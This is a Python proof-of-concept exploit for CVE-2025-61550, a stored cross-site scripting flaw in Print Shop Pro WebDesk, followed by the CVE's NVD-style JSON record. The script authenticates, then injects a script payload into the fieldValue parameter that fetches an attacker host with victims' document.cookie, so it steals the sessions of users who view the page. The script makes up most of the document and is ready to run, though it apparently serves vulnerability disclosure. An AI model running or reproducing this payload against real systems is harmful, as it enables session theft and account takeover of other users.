CVE-2025-61550

import requests import sys # CVE-2025-61550 Stored XSS PoC # Target: Print Shop Pro WebDesk < 19.69 # Endpoint: /p/sp/appNet/TemplateOrder/TemplatePreview.aspx # Parameter: ctl00_Content01_fieldValue TARGET_URL = "http://target-server.com/p/sp/appNet/TemplateOrder/TemplatePreview.aspx" LOGIN_URL = "http://target-server.com/p/sp/appNet/Login.aspx" # Malicious XSS payload - Cookie theft XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' def login(session, username, password): """Authenticate to the application""" login_data = { 'username': username, 'password': password } response = session.post(LOGIN_URL, data=login_data) return 'Login' not in response.url or response.status_code == 200 def inject_xss(session): """Inject XSS payload via fieldValue parameter""" exploit_data = { 'ctl00_Content01_fieldValue': XSS_PAYLOAD, 'ctl00$Content01$btnSubmit': 'Submit' } response = session.post(TARGET_URL, data=exploit_data) if response.status_code == 200: print("[+] XSS payload injected successfully!") print("[+] Payload will execute when users view TemplatePreview.aspx") return True else: print("[-] Injection failed") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] session = requests.Session() if login(session, username, password): inject_xss(session) else: print("[-] Authentication failed")

{"cve": {"id": "CVE-2025-61550", "sourceIdentifier": "[email protected]", "published": "2026-01-08T17:15:48.940", "lastModified": "2026-02-10T18:16:20.377", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Scripting (XSS) is present on the ctl00_Content01_fieldValue parameters on the /psp/appNet/TemplateOrder/TemplatePreview.aspx endpoint in edu Business Solutions Print Shop Pro WebDesk version 18.34 (fixed in 19.69). User-supplied input is stored and later rendered in HTML pages without proper output encoding or sanitization. This allows attackers to persistently inject arbitrary JavaScript that executes in the context of other users' sessions"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:edubusinesssolutions:print_shop_pro_webdesk:18.34:*:*:*:*:*:*:*", "matchCriteriaId": "88C72179-FF05-44F1-87A2-80179F38245D"}]}]}], "references": [{"url": "https://github.com/chndlrx/vulnerability-disclosures/tree/main/CVE-2025-61550", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/chndlrx/vulnerability-disclosures/tree/main/CVE-2025-61550", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}